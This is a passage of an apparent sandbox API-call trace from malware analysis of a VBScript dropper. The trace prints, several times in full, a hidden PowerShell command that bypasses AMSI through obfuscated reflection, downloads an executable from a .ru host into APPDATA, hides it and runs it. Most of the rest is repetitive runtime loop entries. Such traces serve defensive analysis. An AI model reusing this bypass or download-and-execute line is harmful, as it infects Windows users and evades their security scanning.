$null);[Ref].Assembly.GetType('Sy'+'st'+'em.'+'Ma'+'nage'+'ment.Au'+'tom'+'atio'+'n.Am'+'si'+'Ut'+'i'+'ls').GetField('a'+'ms'+'iC'+'on'+'te'+'xt','NonPublic,Static').SetValue($null, [IntPtr]$mem);(New-Object System.Net.WebClient).DownloadFile('https://ti5n.andnolikeandtoo.ru/462481872.exe',$env:APPDATA+'\\newbuild.exe');(get-item $env:APPDATA\\newbuild.exe).Attributes += 'Hidden';Start-Process ($env:APPDATA+'\\newbuild.exe')\"\"\"), 0", cchWideChar=759, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 759 [0072.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateObject(\"Wscript.shell\").run(\"powershell.exe -WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'+'s'+'iS'+'es'+'si'+'on','NonPublic,Static').SetValue($null, $null);[Ref].Assembly.GetType('Sy'+'st'+'em.'+'Ma'+'nage'+'ment.Au'+'tom'+'atio'+'n.Am'+'si'+'Ut'+'i'+'ls').GetField('a'+'ms'+'iC'+'on'+'te'+'xt','NonPublic,Static').SetValue($null, [IntPtr]$mem);(New-Object System.Net.WebClient).DownloadFile('https://ti5n.andnolikeandtoo.ru/462481872.exe',$env:APPDATA+'\\newbuild.exe');(get-item $env:APPDATA\\newbuild.exe).Attributes += 'Hidden';Start-Process ($env:APPDATA+'\\newbuild.exe')\"\"\"), 0", cchWideChar=759, lpMultiByteStr=0x2885da85ef8, cbMultiByte=759, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateObject(\"Wscript.shell\").run(\"powershell.exe -WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'+'s'+'iS'+'es'+'si'+'on','NonPublic,Static').SetValue($null, $null);[Ref].Assembly.GetType('Sy'+'st'+'em.'+'Ma'+'nage'+'ment.Au'+'tom'+'atio'+'n.Am'+'si'+'Ut'+'i'+'ls').GetField('a'+'ms'+'iC'+'on'+'te'+'xt','NonPublic,Static').SetValue($null, [IntPtr]$mem);(New-Object System.Net.WebClient).DownloadFile('https://ti5n.andnolikeandtoo.ru/462481872.exe',$env:APPDATA+'\\newbuild.exe');(get-item $env:APPDATA\\newbuild.exe).Attributes += 'Hidden';Start-Process ($env:APPDATA+'\\newbuild.exe')\"\"\"), 0", lpUsedDefaultChar=0x0) returned 759 [0072.811] _write (in: _FileHandle=3, _Buf=0x2885d425d08*, _MaxCharCount=0x200 | out: _Buf=0x2885d425d08*) returned 512 [0072.812] _write (in: _FileHandle=3, _Buf=0x2885d425d08*, _MaxCharCount=0xf9 | out: _Buf=0x2885d425d08*) returned 249 [0072.814] _close (_FileHandle=3) returned 0 [0072.816] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d425cd0) [0072.816] VarBstrCat (in: bstrLeft="C:\\Users\\FD1HVy\\AppData\\Local\\Temp", bstrRight="\\JoHMwmhDhPJuWqSOTCEMf.txt", pbstrResult=0xbcb38f62d0 | out: pbstrResult=0xbcb38f62d0) returned 0x0 [0072.816] VarBstrCat (in: bstrLeft="C:\\Users\\FD1HVy\\AppData\\Local\\Temp", bstrRight="\\TzTEirjljCPNCsrDblvwC.vbs", pbstrResult=0xbcb38f62d0 | out: pbstrResult=0xbcb38f62d0) returned 0x0 [0072.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\TzTEirjljCPNCsrDblvwC.vbs", cchWideChar=-1, lpMultiByteStr=0xbcb38f5f00, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\TzTEirjljCPNCsrDblvwC.vbs", lpUsedDefaultChar=0x0) returned 61 [0072.816] _fullpath (in: _FullPath=0xbcb38f6080, _Path="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\TzTEirjljCPNCsrDblvwC.vbs", _SizeInBytes=0x104 | out: _FullPath="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\TzTEirjljCPNCsrDblvwC.vbs") returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\TzTEirjljCPNCsrDblvwC.vbs" [0072.816] _mbspbrk (_Str=0xbcb38f6080, _Control=0x7ff9bdf0f3a4) returned 0x0 [0072.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\JoHMwmhDhPJuWqSOTCEMf.txt", cchWideChar=-1, lpMultiByteStr=0xbcb38f5f00, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\JoHMwmhDhPJuWqSOTCEMf.txt", lpUsedDefaultChar=0x0) returned 61 [0072.816] _fullpath (in: _FullPath=0xbcb38f6190, _Path="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\JoHMwmhDhPJuWqSOTCEMf.txt", _SizeInBytes=0x104 | out: _FullPath="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\JoHMwmhDhPJuWqSOTCEMf.txt") returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\JoHMwmhDhPJuWqSOTCEMf.txt" [0072.816] _mbspbrk (_Str=0xbcb38f6190, _Control=0x7ff9bdf0f3a4) returned 0x0 [0072.816] rename (_OldFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\JoHMwmhDhPJuWqSOTCEMf.txt", _NewFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\TzTEirjljCPNCsrDblvwC.vbs") returned 0 [0072.817] VarBstrCat (in: bstrLeft="cscript ", bstrRight="C:\\Users\\FD1HVy\\AppData\\Local\\Temp", pbstrResult=0xbcb38f62d0 | out: pbstrResult=0xbcb38f62d0) returned 0x0 [0072.817] VarBstrCat (in: bstrLeft="cscript C:\\Users\\FD1HVy\\AppData\\Local\\Temp", bstrRight="\\TzTEirjljCPNCsrDblvwC.vbs", pbstrResult=0xbcb38f62d0 | out: pbstrResult=0xbcb38f62d0) returned 0x0 [0072.817] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0xbcb38f6250 | out: lpclsid=0xbcb38f6250*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0072.818] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0072.818] CoCreateInstance (in: rclsid=0xbcb38f6250*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), pUnkOuter=0x0, dwClsContext=0x15, riid=0x7ff9bdeee8c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xbcb38f60f8 | out: ppv=0xbcb38f60f8*=0x2885b0d7708) returned 0x0 [0072.818] WshShell:IUnknown:QueryInterface (in: This=0x2885b0d7708, riid=0x7ff9bdf05eb0*(Data1=0x7fd52380, Data2=0x4e07, Data3=0x101b, Data4=([0]=0xae, [1]=0x2d, [2]=0x8, [3]=0x0, [4]=0x2b, [5]=0x2e, [6]=0xc7, [7]=0x13)), ppvObject=0xbcb38f6110 | out: ppvObject=0xbcb38f6110*=0x0) returned 0x80004002 [0072.818] WshShell:IUnknown:QueryInterface (in: This=0x2885b0d7708, riid=0x7ff9bdf05ec0*(Data1=0x37d84f60, Data2=0x42cb, Data3=0x11ce, Data4=([0]=0x81, [1]=0x35, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xb8, [7]=0x51)), ppvObject=0xbcb38f6118 | out: ppvObject=0xbcb38f6118*=0x0) returned 0x80004002 [0072.818] WshShell:IUnknown:QueryInterface (in: This=0x2885b0d7708, riid=0x7ff9bdeeb860*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xbcb38f6138 | out: ppvObject=0xbcb38f6138*=0x2885b0d76e0) returned 0x0 [0072.818] WshShell:IUnknown:Release (This=0x2885b0d7708) returned 0x1 [0072.818] WshShell:IDispatch:GetIDsOfNames (in: This=0x2885b0d76e0, riid=0x7ff9bdef3868*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xbcb38f62c0*="Exec", cNames=0x1, lcid=0x28800000409, rgDispId=0xbcb38f62a4 | out: rgDispId=0xbcb38f62a4*=3012) returned 0x0 [0072.821] WshShell:IDispatch:Invoke (in: This=0x2885b0d76e0, dispIdMember=3012, riid=0x7ff9bdef3868*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xbcb38f6258*(rgvarg=([0]=0x2885d5761f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="cscript C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\TzTEirjljCPNCsrDblvwC.vbs", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xbcb38f6270, puArgErr=0xbcb38f6250 | out: pDispParams=0xbcb38f6258*(rgvarg=([0]=0x2885d5761f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="cscript C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\TzTEirjljCPNCsrDblvwC.vbs", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xbcb38f6270*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xbcb38f6250*=0x5751ee00) returned 0x0 [0073.064] WshShell:IUnknown:Release (This=0x2885b0d76e0) returned 0x0 [0073.064] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.064] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.064] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.064] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.064] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.064] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.064] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.064] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.064] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.065] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.065] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.066] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.067] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.067] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.067] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.067] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.067] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.067] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.067] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.067] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.067] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.067] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.067] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.067] VarAdd (in: 